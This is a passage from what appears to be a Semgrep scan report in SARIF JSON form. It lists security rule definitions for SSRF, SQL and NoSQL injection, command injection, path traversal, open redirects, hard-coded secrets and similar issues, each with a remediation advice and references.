input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-grpc.httpclient-taint-grpc)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-grpc.httpclient-taint-grpc","id":"csharp.dotnet-core.ssrf.httpclient-taint-grpc.httpclient-taint-grpc","name":"csharp.dotnet-core.ssrf.httpclient-taint-grpc.httpclient-taint-grpc","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.ssrf.httpclient-taint-grpc.httpclient-taint-grpc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Sauce Token detected"},"help":{"markdown":"Sauce Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-sauce-token.detected-sauce-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Sauce Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-sauce-token.detected-sauce-token","id":"generic.secrets.security.detected-sauce-token.detected-sauce-token","name":"generic.secrets.security.detected-sauce-token.detected-sauce-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-sauce-token.detected-sauce-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.open-redirect-deepsemgrep.open-redirect-deepsemgrep)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/javascript.express.open-redirect-deepsemgrep.open-redirect-deepsemgrep","id":"javascript.express.open-redirect-deepsemgrep.open-redirect-deepsemgrep","name":"javascript.express.open-redirect-deepsemgrep.open-redirect-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.open-redirect-deepsemgrep.open-redirect-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint.httpclient-taint)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint.httpclient-taint","id":"csharp.dotnet-core.ssrf.httpclient-taint.httpclient-taint","name":"csharp.dotnet-core.ssrf.httpclient-taint.httpclient-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.ssrf.httpclient-taint.httpclient-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.nosql.gorilla-mongo-nosqli-taint.gorilla-mongo-nosqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/go.gorilla.nosql.gorilla-mongo-nosqli-taint.gorilla-mongo-nosqli-taint","id":"go.gorilla.nosql.gorilla-mongo-nosqli-taint.gorilla-mongo-nosqli-taint","name":"go.gorilla.nosql.gorilla-mongo-nosqli-taint.gorilla-mongo-nosqli-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.nosql.gorilla-mongo-nosqli-taint.gorilla-mongo-nosqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a possible denial-of-service via a zip bomb attack. By limiting the max bytes read, you can mitigate this attack. `io.CopyN()` can specify a size. "},"help":{"markdown":"Detected a possible denial-of-service via a zip bomb attack. By limiting the max bytes read, you can mitigate this attack. `io.CopyN()` can specify a size. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.decompression_bomb.potential-dos-via-decompression-bomb)\n - [https://golang.org/pkg/io/#CopyN](https://golang.org/pkg/io/#CopyN)\n - [https://github.com/securego/gosec/blob/master/rules/decompression-bomb.go](https://github.com/securego/gosec/blob/master/rules/decompression-bomb.go)\n","text":"Detected a possible denial-of-service via a zip bomb attack. By limiting the max bytes read, you can mitigate this attack. `io.CopyN()` can specify a size. "},"helpUri":"https://semgrep.dev/r/go.lang.security.decompression_bomb.potential-dos-via-decompression-bomb","id":"go.lang.security.decompression_bomb.potential-dos-via-decompression-bomb","name":"go.lang.security.decompression_bomb.potential-dos-via-decompression-bomb","properties":{"precision":"very-high","tags":["CWE-400: Uncontrolled Resource Consumption","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.decompression_bomb.potential-dos-via-decompression-bomb"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAsResourceUrl can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAsResourceUrl can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-resourceurl-method.detect-angular-trust-as-resourceurl-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsResourceUrl](https://docs.angularjs.org/api/ng/service/$sce#trustAsResourceUrl)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAsResourceUrl can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-resourceurl-method.detect-angular-trust-as-resourceurl-method","id":"javascript.angular.security.detect-angular-trust-as-resourceurl-method.detect-angular-trust-as-resourceurl-method","name":"javascript.angular.security.detect-angular-trust-as-resourceurl-method.detect-angular-trust-as-resourceurl-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-resourceurl-method.detect-angular-trust-as-resourceurl-method"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.ponyorm-flask.ponyorm-flask)\n - [https://docs.ponyorm.org/queries.html](https://docs.ponyorm.org/queries.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.flask.db.ponyorm-flask.ponyorm-flask","id":"python.flask.db.ponyorm-flask.ponyorm-flask","name":"python.flask.db.ponyorm-flask.ponyorm-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.ponyorm-flask.ponyorm-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-shelve-django.tainted-shelve-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-shelve-django.tainted-shelve-django","id":"python.django.file.tainted-shelve-django.tainted-shelve-django","name":"python.django.file.tainted-shelve-django.tainted-shelve-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-shelve-django.tainted-shelve-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-boto3.tainted-fastapi-http-request-boto3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-boto3.tainted-fastapi-http-request-boto3","id":"python.fastapi.net.tainted-fastapi-http-request-boto3.tainted-fastapi-http-request-boto3","name":"python.fastapi.net.tainted-fastapi-http-request-boto3.tainted-fastapi-http-request-boto3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-boto3.tainted-fastapi-http-request-boto3"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.sqlobject-django.sqlobject-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.django.db.sqlobject-django.sqlobject-django","id":"python.django.db.sqlobject-django.sqlobject-django","name":"python.django.db.sqlobject-django.sqlobject-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.sqlobject-django.sqlobject-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.mongo-driver-nosqli.mongo-driver-nosqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/kotlin.spring.mongo-driver-nosqli.mongo-driver-nosqli","id":"kotlin.spring.mongo-driver-nosqli.mongo-driver-nosqli","name":"kotlin.spring.mongo-driver-nosqli.mongo-driver-nosqli","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.mongo-driver-nosqli.mongo-driver-nosqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.command-injection.rust-rocket-command-injection.rust-rocket-command-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/rust.rocket.command-injection.rust-rocket-command-injection.rust-rocket-command-injection","id":"rust.rocket.command-injection.rust-rocket-command-injection.rust-rocket-command-injection","name":"rust.rocket.command-injection.rust-rocket-command-injection.rust-rocket-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.command-injection.rust-rocket-command-injection.rust-rocket-command-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.vertx-sqli.vertx-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.vertx-sqli.vertx-sqli","id":"java.lang.security.audit.sqli.vertx-sqli.vertx-sqli","name":"java.lang.security.audit.sqli.vertx-sqli.vertx-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.vertx-sqli.vertx-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymongo.python-mongo-hardcoded-secret.python-mongo-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pymongo.python-mongo-hardcoded-secret.python-mongo-hardcoded-secret","id":"python.pymongo.python-mongo-hardcoded-secret.python-mongo-hardcoded-secret","name":"python.pymongo.python-mongo-hardcoded-secret.python-mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymongo.python-mongo-hardcoded-secret.python-mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Missing `RUnlock` on an `RWMutex` (`$T` variable) lock before returning from a function"},"help":{"markdown":"Missing `RUnlock` on an `RWMutex` (`$T` variable) lock before returning from a function\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.missing-runlock-on-rwmutex.missing-runlock-on-rwmutex)\n - [https://pkg.go.dev/sync#RWMutex](https://pkg.go.dev/sync#RWMutex)\n - [https://blog.trailofbits.com/2020/06/09/how-to-check-if-a-mutex-is-locked-in-go/](https://blog.trailofbits.com/2020/06/09/how-to-check-if-a-mutex-is-locked-in-go/)\n","text":"Missing `RUnlock` on an `RWMutex` (`$T` variable) lock before returning from a function"},"helpUri":"https://semgrep.dev/r/trailofbits.go.missing-runlock-on-rwmutex.missing-runlock-on-rwmutex","id":"trailofbits.go.missing-runlock-on-rwmutex.missing-runlock-on-rwmutex","name":"trailofbits.go.missing-runlock-on-rwmutex.missing-runlock-on-rwmutex","properties":{"precision":"very-high","tags":["CWE-667: Improper Locking","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.missing-runlock-on-rwmutex.missing-runlock-on-rwmutex"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`"},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.pg-sqli.pg-sqli)\n - [https://node-postgres.com/features/queries](https://node-postgres.com/features/queries)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`"},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.pg-sqli.pg-sqli","id":"javascript.aws-lambda.security.pg-sqli.pg-sqli","name":"javascript.aws-lambda.security.pg-sqli.pg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.pg-sqli.pg-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `expires` not set. Use it to set expiration date for persistent cookies."},"help":{"markdown":"Default session middleware settings: `expires` not set. Use it to set expiration date for persistent cookies.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-expires)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Default session middleware settings: `expires` not set. Use it to set expiration date for persistent cookies."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-expires","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-expires","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-expires","properties":{"precision":"very-high","tags":["CWE-522: 